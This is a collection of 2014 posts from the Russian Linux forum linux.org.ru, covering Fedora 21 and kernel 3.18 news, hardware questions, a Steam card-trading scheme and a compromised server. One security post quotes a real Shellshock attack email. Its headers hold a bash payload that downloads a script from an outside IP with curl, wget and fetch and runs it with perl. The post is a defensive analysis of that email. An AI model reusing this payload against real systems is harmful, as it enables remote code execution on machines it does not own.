LINUX.ORG.RU

Избранные сообщения powerguy

Fedora 21 Release Party Moscow

Форум — Talks

20 декабря, с 14:00 и до упора, в баре недалеко от м. Сокол

http://russianfedora.pro/content/fedora-21-release-party-в-Москве

Присоединяйтесь.

 , ,

alpha
()

DNF 0.6.3

Новости — Red Hat
Группа Red Hat

9 декабря 2014, вышла новая версия пакетного менеджера DNF - 0.6.3. Вместе с ним вышла новая версия набора основных плагинов dnf-plugins-core - 0.1.4.

Новинки DNF:

  • deltrarpm теперь включен по умолчанию
  • dnf-automatic теперь может не только отправлять результаты выполнения действий в почту или в stdio, но и в motd (Message of the day).
  • Очень сильно ускорено автодополнение в bash за счёт использования sqlite в связке с dnf-plugins-core и за счёт использования python API без dnf-plugins-core.
  • Несколько багфиксов в автодополнении в bash (например, если ввести / после команды install, то он не будет проверять на наличие пакета в базе, а сразу предложит выбрать путь к файлу)
  • Использование systemd inhibitor при транзакциях
  • Ещё очень много багфиксов

Новинки dnf-plugins-core:

  • Новый плагин - reposync, предназначенный для синхронизирования удалённого репозитория локально
  • Новый плагин - needs_restarting, предназначенный для проверки процессов на необходимость рестарта после обновления пакетов
  • Плагин generate_completion_cache теперь хранит все данные в sqlite (раньше было в текстовом файле) для ускорения поиска по нему
  • Несколько багфиксов

Contributors

  • Ales Kozumplik (бывший руководитель проекта)
  • Daniel Mach
  • Igor Gnatenko
  • Jan Silhan (руководитель проекта)
  • Kushal Das
  • Michal Luscon
  • Miroslav Suchý
  • Satoshi Matsumoto
  • Tim Lauridsen

>>> Подробности

 , , ,

powerguy
()

Steam в Fedora 21

Форум — Desktop

Пытаюсь поставить Steam в Fedora 21 из rpmfusion, получаю такой выхлоп http://fpaste.org/158048/14181477/

Как исправить?

 ,

Nedis
()

Сегодня, 9 декабря 2014 года, выходит Fedora 21!

Новости — Linux General
Группа Linux General

В ожидании релиза перечислим основные изменения в дистрибутиве:

  • Дистрибутив теперь представлен в трех основных вариантах — облачный, сервер и десктоп.
  • Обновления ПО:
    • GNOME 3.14;
    • KDE Frameworks 5;
    • MATE Desktop 1.8;
    • GCC 4.9.x;
    • Boost 1.56 Uplift — поскольку 1.56 еще не готов, дистрибутив пересобран с версией Boost 1.55.0;
    • Make 4.0;
    • Java 8 — текущая Java 7 будет объявлена устаревшей и удалена;
    • PHP 5.6;
    • Python 3.4;
    • Ruby 2.1;
    • Ruby on Rails 4.1;
    • TCL/TK 8.6;
    • RPM-4.12;
    • MariaDB 10.0.
  • Общие изменения:
    • System-wide crypto policy — возможность автоматической настройки всех крипто-библиотек через единый конфиг /etc/crypto-policies/config. Для внесения изменений используется механизм в стиле debian — update-crypto-profiles. В дальнейшем планируется специальный демон, который будет осуществлять автоматическое обновление политик при обнаружении им изменений в данном системном конфиге.
    • Format Security — пересборка дистрибутива с опцией -Werror=format-security, позволяющей предотвратить сборку кода с узявимостью в функции форматирования строк.
    • Access control in PCSC — позволяет контролировать доступ пользователей смарт-картам, доступным в системе. Чтение, форматирование карт со стороны неавторизованных пользователей может быть ограничено.
  • Изменения в десктопе:
    • Стандартная возможность запуска gnome через wayland.
    • Представленный в F20 новый инсталлятор gnome-software теперь полностью интегрирован в графическое окружение gnome-shell.
  • Изменения в сервере:
    • Cockpit Management Console — простой веб-интерфейс мониторинга и управления сервером, который позволяет управлять одним или несколькими серверами. В числе прочего в нем заявлено управление службами systemd, просмотр логов, настройка сети и управление локальными учетными записями пользователей.
    • Framework for Server Role Deployment — новый сервис dbus, позволяющий упростить разворачивание и дальнейшее управление серверными ролями системы через командную строку.
    • Domain Controller Server Role — в сервере появилась стандартная роль — контроллер домена на основе FreeIPA.
    • Headless Java — разделение Java-пакетов на зависящие и независящие от графических и звуковых подсистем части и перенастройка системы зависимостей всех остальных пакетов с целью обеспечения возможности установки и запуска java-программ на серверах без графической и звуковой карты.
    • NFS Ganesha File Server — NFS сервер в пространстве пользователя. Позволяет реализовать NFS3, NFS4, NFS4.1 и распределенные по сети файловые системы pNFS.
    • Remote Journal Logging — возможность настроить передачу логов systemd на удаленные серверы. Передаются как сами журналы, так и полностью все метаданные.
  • Для облачных инсталляций:
    • Atomic Cloud Image/Docker Container Image — образы для запуска облачного хоста с контейнерами docker и для запуска в контейнере docker.
    • Modular Kernel Packaging for Cloud — отдельная упаковка модулей ядра в интересах облачных инсталляций. Несмотря на название, все наоборот. Раздельная упаковка модулей позволяет не устанавливать или удалять ненужные в виртуализированном окружении модули.
    • Отметка лицензий отдельным макросом %license позволяет удалять документацию, оставляя только лицензии.
  • А также многое другое.

>>> Полное описание изменений в Fedora 21

 

AVL2
()

Релиз ядра Linux 3.18

Новости — Ядро Linux
Группа Ядро Linux

Линус Торвальдс объявил о выходе ядра Linux 3.18, основные новшества:

  • В ядро интегрирована файловая система OverlayFS, разработанная SUSE и позволяющая создать виртуальную многослойную файловую систему, поверх доступной только на чтение основы.
  • Для сервера NFS появилась поддержка операции SEEK.
  • В файловую систему F2FS добавлена поддержка атомарных операций записи, позволяющих рассматривать успешное или сбойное завершение серии операций как единое целое.
  • Для Btrfs улучшен код восстановления повреждённых RAID-массивов и перестроения RAID.
  • Появилась сетевая подсистема FOU (Foo-over-UDP) для организации тунеллирования различных IP-протоколов поверх UDP.
  • Добавлена поддержка алгоритма контроля перегрузки TCP DCTCP (Data Center TCP).
  • Внесён ряд оптимизаций в сетевую подсистему, направленных на увеличение производительности пакетной передачи данных.
  • Появилась поддержка протокола Geneve (Generic Network Virtualization Encapsulation), универсального протокола инкапсуляции для виртуализированных сетей.
  • Добавлен новый системный вызов bpf(), предоставляющий доступ к возможностям универсальной виртуальной BPF-машины внутри ядра.
  • Удалось добиться существенного сокращения времени перехода в спящий режим для систем с большим числом процессоров за счёт избавления от задержки в 100ms для каждого CPU перед его остановкой.
  • В системный вызов prctl() добавлена новая операция PR_SET_MM_MAP, позволяющая выставить основные параметры раскладки адресного пространства процесса, в том числе указать где разместить области с кодом и данными, где находится стек, определить точки останова.
  • Включена подсистема RCU tasks, позволяющая использовать механизм синхронизации RCU (Read-copy-update) для защиты целостности структур данных.
  • Внесён ряд изменений, направленных на обеспечения сборки ядра при помощи компилятора Clang. В частности, осуществлена замена массивов переменной длины в структурах данных (VLAIS, Variable Length Array In Struct) на созданный при помощи макроса SHASH_DESC_ON_STACK() эквивалент, совместимый со спецификацией C99 и поддерживаемый в Clang.
  • Включены в ядро некоторые патчи, подготовленные в рамках инициативы по обеспечению сборки как можно более компактного ядра Linux, занимающего минимальный размер. Добавлена возможность исключения из сборки системных вызовов madvise() и fadvise(), а также кода разбора флагов с описанием возможностей процессора.
  • Добавлена штатная поддержка установки модулей ядра в сжатом виде.
  • Был добавлен драйвер «pvSCSI» (Paravirtualized SCSI), позволяющая организовать работу гостевых систем, работающих под управлением гипервизора Xen, с привязанными к ним SCSI-устройствами.
  • В код для архитектуры ARM64 адаптирован новый JIT-компилятор BPF (eBPF).
  • Архитектура SPARC64 переведена на четырёхуровневые таблицы страниц памяти, что значительно увеличило размер адресуемой памяти.
  • Для DRM-драйвера Nouveau добавлена поддержка вывода звука через порт DisplayPort.
  • В DRM-драйвер Radeon для старых карт R600 добавлена поддержка UVD (Unified Video Decoder) для ускорения декодирования видео.
  • В DRM-драйвере Intel реализована поддержка кэширования значений EDID и внесена порция накопившихся улучшений.
  • Добавлена поддержка:
    • Новых SoC: Hisilicon HiP04 Cortex A15, Amlogic Meson6 (8726MX), Renesas R-Car E2 (R8A77940), Broadcom BCM63xx DSL, Atmel SAMA5D4, Cavium Inc. Thunder;
    • Звуковых карт Freescale, добавлены кодеки для Everest ES8328, Freescale ES8328 и Cirrus Logic CS35L32;
    • Ethernet-контроллеров Qualcomm Atheros QCA7000 и Ethernet-коммутаторов Broadcom Starfighter 2, Intel FM10000 и Marvell 88E6171;

Более полная новость на opennet.ru

>>> Подробности (на английском языке)

 ,

mbivanyuk
()

А у меня на планшете CentOS, а у вас …

Форум — Linux-hardware

[обзор/отчет с парой вопросов]

Вообщем пришел мой Teclast X98 Air (Atom Z3735D, C5KN, с Android).

Подключив usb-клаву неделю стучал по всем кнопкам, начиная с Del, пока понял, что BIOS-а у меня нет. Пришлось взять BIOS от винды.

Подключил hdd от своего десктопа (то же Baytrail, J1800, CentOS7, elrepo-kernel, xorg-x11-drv-intel-2.99.916, последние linux-firmware-20141013). Увидел свет (X-ы запустились).

Беглый обзор (lspci, lsusb) показал, что у меня кроме видеоадаптера, больше ничего и нет ... ;)

Короче, пересобрав ядро (понатыкав галочек для всяких SDIO/GPIO/LPSS/SOC/I2C/SPI) и воспользовавшись советами и патчами умных людей (Adam Williamson, Bastien Nocera) пилящим похожий планшет (Onda v975w), после почти месяца ковыряний, имею следующее:

Работает:

Видео — Отлично. VLC играет fullhd при 50% нагрузке процессора. Пара шероховатостей: экран вверх ногами (требуется fbcon=rotate:2, xrandr --output eDP1 --rotate inverted), все разрешения экрана, кроме максимального, неправильные/повернутые (требуется генерировать новые моделайны).

eMMC/MicroSD — работает. Чем новее ядро, тем лучше. На 3.18 hdparm -t /dev/mmcblk0p1 ~100 MB/sec.

Touchscreen — работает. В BIOS выбрать touchscreen Atmel и поставить драйвер для Goodix.

Wi-Fi — работает со сторонним драйвером (старый правда, в андройде намного новее). Не поддерживает iw (только iwconfig) и NM (видит как проводное соединение).

Акселерометр — работает. с патчем. cat /sys/bus/iio/devices/iio\:device0/in_accel_[x,y,z]_raw показывает положение планшета в пространстве. И куда это можно присобачить?

Кнопачки — работают стандартно («power» — 116, «vol+» - 115 , «vol-» - 114). Правда systemd/logind «power» именно как «power button» не распознает и не засыпает. Просыпается планшет нормально. Вообщем крутить или udev (?), или настройки WM.

Подсветка — работает, регулируется xbacklight.

Виртуализация — поддерживается. ХРюша в Virtulbox-е «летает».

Audio — работает хреново. Распознается как звуковая карта с >100 control-ми!? Самому нужную комбинацию вкл/выкл подобрать не удалось, нашел здесь. После чего звук потихоньку захрипел.

НЕ РАБОТАЕТ:

Состояние батареи — не работает из-за бага в ACPI. Судя по bugzilla оно работало с патчем в 3.16, потом сломали. Неужели нельзя просто поправить ACPI?

Bluetooth — не работает. Должен поддерживаться тем же драйвером, что и Wi-Fi (rtw_btcoex_enable=1), но похоже данной опции не достаточно. Возможно дело в rfkill, на какой-то версии ядра было два переключателя (один был точно «off», но Wi-Fi работал). Сейчас в rfkill list пусто.

Камеры — не работают. В android-е есть драйвера atomisp-* (Intel ATOM Platform ISP Driver) и, насколько понял, конфигурационные файлы для конкретных камер (*.cpf). Все исходники atomisp которые я находил были для ядер 3.0-3.4 … короче, пока даже не пытался.

Видеодекодер PowerVR VXD392 — вроде есть, вроде пилят. Ждем.

WiDi — х/з

Encryption controller 00:1a.0 — х/з

Прочее

работает только с сlocksource=tsc.
RTC можно поменять только из BIOS (установка с помощью date не сохраняется при перезагрузке).
BIOS смог прошить только из под android (затерев его). С fastboot что-то не срослось. Так что второй раз … прошивать из под винды всю прошивку заново?!

ИТОГО

В общем, мне для счастья осталось настроить две вещи: увидеть состояние батареи и включить bluetooth.
(Ну и настроить IceWM для работы на экране 1536х2048 и touchscreen-ом ;)

Ну вот, в принципе, и все вопросы :) Верю, к новому году будет у меня полноценный планшет с полноценным linux-ом :)

P.S. Ставить буду наверное все-таки Fedora 21 (32bit).

arson
()

Меня окончательно и бесповоротно достал 12309

Форум — Desktop

Я уже писал о том, что на моем компьютере периодически возникает 12309. Многие не верят, ибо у них «всё работает». Если у вас всё работает отлично, и это всё, что вы хотите сказать - пожалуйста, не говорите ничего.

У меня тоже всё работает. До поры до времени. Как только потребление ОЗУ вырастает до 70% и более, а CPU непрерывно загружен (хоть и не до упора), то любая, даже самая незначительная дисковая операция занимает достаточно много времени и приводит к тормозам ВСЕГО.

Буквально только что (т.е. за 20 минут до написания этого сообщения) игрался я в CSGO от нечего делать. Посреди игры (уже минут 10 прошло) неведомое нечто начинает усиленно обращаться к винчестеру. Неведомое нечто не может быть чем-то очевидным, ибо всевозможные обвновления/синхронизации/и т.д. я поотключал, а кроме steam и самой игры ничего запущено не было. В результате начинаются жесткие фризы, а через несколько секунд компьютер превращается в состояние овоща - не реагирует ни на что, картинка на мониторе замерла, а звуковая карта зацикленно играет короткий семпл. Только reset.

В этот момент у меня было была одна мысль в голове: «Что, б****? Что за херня?»
А всё дело в том, что подобное состояние системы я последний раз наблюдал на венде несколько лет назад, да и то - на чужом компьютере. А теперь вендоподобные проблемы на моем собственном пк!

Я не знаю, 12309 ли это, либо другой баг, связанный с дисковой производительностью во время заполненного ОЗУ... меня это уже не волнует.

Хочу спросить совета: что делать?

Обновить пк не вариант, денег в последнее время не хватает, тем более что у меня в стране сами знаете что.

Из возможных вариантов:

1) Выбросить linux и пересесть на винду. (работать в винде для меня просто тошнотворно, не вариант)
2) Доставить в дуалбут винду, играть исключительно в винде, всё остальное - в linux (сам факт дуалбута будет мусолить мою душу, а в снах я буду видеть себя типичным школьником, который хвастается свеженькой ubuntu)
3) Заменить шедулер на BFS. (поможет ли?)
4) Просто обновить ядро на более свежее (у меня стоит 3.13.0-24-generic - стоковое для linux mint 17. Опять же - поможет ли? Думаю нет, т.к. разрабы ядра давно пометили проблему как «решенную»)
5) Заменить дистрибутив linux на что-то сверхминималистичное - чистый Xorg, драйвера на видокарту, steam, а нормальное пользование системой вместе с повседневными задачами перенести в freebsd. (несмотря на то, что freebsd я уже научился готовить до вменяемого состояния, в отличие от pcbsd, лол но там всё еще есть некоторые мелкие неприятности, которые надо решать. Да и опять таки, дуалбут, мать его за ногу)
6) Забить на игры (чем развлекаться? пить пивко во дворе? я не пью)
7) Ваш вариант?

P.S. Как мне теперь смотреть в глаза людям, которым я советовал linux? А тем, которым ставил? Что я за дурак был тогда...
P.P.S. Да, я уже думал заменить home на удаленный каталог средствами ufs. Но это скорее удобный костыль, да и на всю систему ufs не поставить...

 ,

reprimand
()

Вопрос владельцам Radeon R6/R7/R9, использующим свободный драйвер

Форум — Linux-hardware

Собираюсь отправить патч в Linux 3.17, буду благодарен если удастся протестировать.

Наблюдаются ли у вас проблемы с производительностью графики при возвращении системы из ждущего режима?

 , , , ,

Adonai
()

systemd и udev

Форум — General

Только что собрал systemd, окончательно и бесповоротно решив перейти на него. Вопросы - 1) Нужен ли udev с systemd в Gentoo? При попытке его собрать тот выдает взаимную блокировку systemd и udev. 2) Какие ключи нужны systemd для загрузки? То есть что приписать к опциям ядра?

 , , ,

DeadEye
()

в thinkpad плюнул ребёнок и ноутбук помер

Форум — Linux-hardware

водой плюнул. изо рта. ребёнку 3 года. вода попала на клаву, которой должно быть, вроде, пофиг на воду. и стёрта была быстро.

однако через 5 часов при включении ноута он издал хрипы и клавиатура теперь не работает. только трекпоинт и его кнопки нормально реагируют.

живу в лесу глухом.

поэтому вопрос- уже можно пить за упокой ноута или еще есть шансы его воскресить без помощи сервисцентра?

thinkpad L430

pyometra
()

Пришла открытка от разработчика Gnome

Галерея — Скриншоты

Весной я решил немного поддержать gnome foundation и подписался на пожертвования раз в месяц ($10). Т.е. раз в месяц кто-то попьёт пиво. :-)
Так вот сегодня пришла открытка от разработчика Alex Larsson.

PNG

 ,

BeerSeller
()

[ЭВЕНТ НАЧАЛСЯ] Рождественская распродажа 2015

Форум — Games

Лето 2013 - летняя распродажа, внедрены карточки Steam. Это и карточки игр, и «карточки летней распродажи 2013». Несмотря на внезапность, их нагенерировали столько, что до сих пор продаются по 2 рубля.

Зима 2014 - рождественская распродажа, и снова карточки. На этот раз Valve поступила умнее: после распродажи (2 недели) все зимние карточки исчезают.

Лето 2014 - летняя распродажа, и снова карточки!

Зима 2015 - http://steamcommunity.com/auction/?l=russian ЭВЕНТ НАЧАЛСЯ!

План действий

Щас покупаем полный комплект карточек от всех дешёвых игр (список внизу), а также игр, для которых у нас уже есть больше половины карточек. Но не активируем их! Если активировать сейчас, мы получим только «уровень» аккаунта и купон на скидку на рандомную игру, который является мусором. Ждём рождественской распродажи, и вместо купонов на скидку получаем зимние карточки 2015. Много, мнооого зимних карточек!

Действие 2. Активировать карточки? Нафиг надо! В первые 6 часов с начала рождественской распродажи выставляем наши over9000 зимних карточек на продажу. Они будут стоить по 30 рублей за штуку.

Действие 3. Есть много игр, карточки которых стоят 5 или 8 рублей, а не 1,5 рубля. Например Duke Nukem 3D, Dungeon Hearts, Anna: Extended Edition. В первый день рождественской распродажи они вырастут в цене в полтора-два раза. Продаём. В феврале подешевеют, и можно будет выкупить обратно.

Действие 4. В середине распродажи карточки будут стоить уже по 10-15 рублей. Всё ещё продаём.

Действие 5. Есть два варианта действий.

а). Последние часы распродажи. Сейчас карточки исчезнут. Выставляем на покупку по разумной цене - время покажет по какой именно. Например 3 рубля. Тратим все вырученные деньги на закупку карточек. Все крафтим.

б). Ничего не покупаем. Вы заработали несколько сотен рублей - в зависимости от того, как много карточек вы сгенерировали в день 1.

Список игр

Список, сортировка по цене.

  1. Dota 2, 8 карточек, цена 1,5 рубля. 8 × 1,5 × 5 = 60 рублей за 5 полных наборов.
  2. Guns Of Icarus Online, 9 карточек, цена 1,5 рубля. 9 × 1,5 × 5 = 67,5 рублей за 5 полных наборов.
  3. Sniper Elite V2, 9 карточек, цена 1,5 рубля. 9 × 1,5 × 5 = 67,5 рублей за 5 полных наборов.
  4. Terraria, 9 карточек, цена 1,5 рубля. 9 × 1,5 × 5 = 67,5 рублей за 5 полных наборов.
  5. PAYDAY: The Heist, 9 карточек, цена 1,5 рубля. 9 × 1,5 × 5 = 67,5 рублей за 5 полных наборов.
  6. Tower of guns, 10 карточек, цена 1,5 рубля. 10 × 1,5 × 5 = 75 рублей за 5 полных наборов.
  7. Steam Summer Getaway, 10 карточек, цена 2 рубля. 10 × 2 × 5 = 100 рублей за 5 полных наборов.

Список игр будет пополняться.

Если затем продать 5 карточек по 25 рублей, мы получим 125 рублей. Скорее всего цена будет выше, так как «Торговая площадка Steam» работает в долларах, и потому что летняя распродажа начиналась с 30 рублей за карточку.

Как покупать

Пополняем кошелёк Steam на 150 или 300 рублей. Открываем «Торговую площадку Steam», копируем название игры в строку поиска, жмём по заголовку колонки «наименование» для сортировки по алфавиту. Открываем первую карточку из списка, жмём «Купить», ставим цену 1,5 рубля, количество 5 (если в инвентаре уже есть 1-2 карточки, то 3-4). Ждём три дня, и всё покупается. Повторяем с каждой следующей карточкой списка.

Нам не нужно быть владельцем игры, чтобы покупать и крафтить её карточки. После покупки любой карточки игра появится в «Значки», и там можно будет нажать «Искать недостающие карточки на Торговой площадке».

 ,

ZenitharChampion
()

Разум победил

Форум — Talks

В общем голосовании разработчиков Debian по вопросу поддержки нескольких систем инициализации победил вариант, в соответствии с которым данный вопрос не требует принятия решения, всё остается на откуп сопровождающих пакеты, обязательной будет только поддержка системы инициализации по умолчанию (ну все знают какой). Естественно, голосование было проспонсировано Red Hat, а Поттеринг лично рассылал деньги разработчикам Debian. https://lists.debian.org/debian-devel/2014/11/msg00891.html

Перемещено fallout4all из linux-org-ru

 ,

Polugnom
()

Серия видеоуроков о systemd. Выпуск № 1

Новости — Документация
Группа Документация

Доброго времени суток, товарищи линуксоиды.

Некоторые посетители форума знают меня как ненавистника systemd и прочих технологий, которые привнесли в этот мир Леннарт Поттеринг и Red Hat Inc. Однако, я решил посмотреть на всю сложившуюся в сообществе GNU/Linux ситуацию под другим углом, поэтому было дано начало серии видеоуроков «Systemd in action». В этой серии мы постараемся раскрыть все основные аспекты работы, связанные с systemd, в доступном для новичков формате.

Первый эпизод доступен для просмотра здесь. Огромную благодарность хочу выразить intelfx и PaulCarroty за непосредственное участие в проекте. Желающие помочь развитию серии могут присоединиться.

Ждите новых выпусков!

>>> Подробности

 ,

like-all
()

Как найти вредоносный скрипт

Форум — Admin

Всем доброго дня! Имеется сервер на Centos 6, на нем в придачу к прочему стоит сайт на htppd. Недавно через сайт взломали сервер и видать закинули какой то вредоносный скрипт. Исходящий трафик по жесткому засирал канал и ДДосил на определенный IP. Через Iptables я запретил исходящий трафик на этот IP и сеть поднялась. Но остались процессы которые до сих пор пытаются ДДосить, в итоге используют ресурсы сервера. Так вот вопрос, как найти этот скрипт? Куда смотреть? Что и в каких логах искать? Возможно ли по PID'у процесса определить откуда и какой скрипт выполняется?

Вот эти процессы в top:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3674 apache 20 0 31992 3148 552 R 100.0 0.0 705:44.29 perl
7247 apache 20 0 31816 3512 1040 R 99.5 0.0 3293:38 perl
7345 apache 20 0 31816 3528 1064 R 99.5 0.0 2421:54 perl
28622 apache 20 0 31816 3520 1048 R 97.6 0.0 13687:42 perl
7329 apache 20 0 31816 3524 1064 R 89.8 0.0 2117:39 perl

Reverse
()

Репоситарии для установки костумных ядер debian

Форум — Admin

И так, мне нужно поставить pf-ядро, однако репоситарий repos.natalenko.name недоступен.

 , ,

ne-vlezay
()

Пытаюсь дописать GUI диспетчер устройств, кто может сделать code review?

Форум — Development

Некоторое время назад набрел на заброшенный на тот момент udev-discover, и захотелось мне его оживить.
Форкнул, исправил критические баги, добавил функционал для настройки мультисита через systemd-logind.
Автор порадовался, принял исправления, написал в бложике про новую версию. Потом так же порадовался моим доделкам, пообещал в течение пары недель прорецензировать... И все. Ну потом я его еще раз потыкал, все повторилось.
Опыта разработки с Gobject/Gtk до этого я не имел, нужно, чтобы кто-то присмотрел. Приветствуются желающие потестить или помочь полезным советом.
Моя ветка: https://github.com/shatsky/udev-discover/tree/multiseat
Описание доделок: https://github.com/fontanon/udev-discover/pull/10#issuecomment-54955076
Картинка: https://cloud.githubusercontent.com/assets/1289078/4175248/ca90467a-35c8-11e4...

Перемещено beastie из talks

 , , , ,

shatsky
()

7 ноября — Ночь свободных игр в Москве

Новости — Конференции и встречи
Группа Конференции и встречи

В ночь с 7 на 8 ноября Либертарная техническая группа планирует провести ночь популяризации свободных компьютерных игр. На мероприятии будет возможность в многопользовательском режиме опробовать представителей различных игровых жанров. Предварительно будет сделан обзор свободных игр.

По таким играм, как 0 A.D., Warzone2100, Xonotic, Armagetron Advanced и WideLands будет проведено небольшое соревнование с символическими призами. Хотя играть можно будет и в любые другие свободные игры, организаторами рекомендуется делать это под свободной ОС GNU/Linux.

Событие состоится в хакспейсе «Neuron» (м. «Китай-город», Хохловский пер, 7/9 стр 2, 3 подъезд, 3 этаж). Начало в 22.00.

>>> Подробности

 ,

xdimquax
()

Пример эксплуатации недавней уязвимости в bash

Форум — Security

Несколько дней назад обнаружил письмо, в котором явно делалась попытка проэксплуатировать недавнюю уязвимость в bash. По видимому, атака рассчитана на работу фильтров, в качестве которых могут быть shell скрипты.

Исходный вид письма:

From - Fri Oct 24 20:38:48 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received: by mail.my.domain.name.net (Postfix)
        id 1B8E6306033C; Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received: by mail.my.domain.name.net (Postfix, from userid 1001)
        id 055493060D8A; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from sub.domain.my.domain.name.net (unknown [11.22.33.44])
        by mail.my.domain.name.net (Postfix) with ESMTP id D3496306033C
        for <root@mail.my.domain.name.net>; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from USER (u16850951.onlinehome-server.com [74.208.184.251])
        by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP id s9OGPr2d018507
        for <root@localhost>; Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>
To: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
References:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
Subject:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;

В более удобочитаемом виде:

Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received: 
        by mail.my.domain.name.net (Postfix)
        id 1B8E6306033C; 
        Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received: 
        by mail.my.domain.name.net (Postfix, from userid 1001)
        id 055493060D8A; 
        Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: 
        from sub.domain.my.domain.name.net (unknown [11.22.33.44])
        by mail.my.domain.name.net (Postfix) with ESMTP 
        id D3496306033C
        for <root@mail.my.domain.name.net>; 
        Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: 
        from USER (u16850951.onlinehome-server.com [74.208.184.251])
        by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP 
        id s9OGPr2d018507
        for <root@localhost>; 
        Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>

Здесь мы можем видеть малоинформативный support@mata.com и не намного более информативный u16850951.onlinehome-server.com [74.208.184.251], с которого было отправлено письмо.

Заголовки:

To:
From:
Resent-From:

содержат следующее:

To: () {:;;};
        cd/tmp;
        curl.-sO.178.254.31.165/ex.txt;
        lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;

Здесь мы можем видеть 178.254.31.165/ на котором файла ex.txt конечно уже не было.

Заголовки:

References:
Subject:
Date:
Message-ID:
Comments:
Keywords:
Resent-Date:

содержат предыдущий случай, без добавленного к url домена:

References:() { :; }; 
        cd /tmp ;
        curl -sO 178.254.31.165/ex.txt;
        lwp-download http://178.254.31.165/ex.txt;
        wget 178.254.31.165/ex.txt;
        fetch 178.254.31.165/ex.txt;
        perl ex.txt;
        rm -fr ex.*;

Перемещено beastie из admin

sin_a
()

зачем нужно fedmsg

Форум — Talks

что это вообще такое? на первый взгляд похоже на какой-то лог связанный с дистрибутивом (ткнулся в fedmsg-tail). только не понятно, что именно за лог и что с этим можно делать. plm, объясняй

 , fedmsg,

xsektorx
()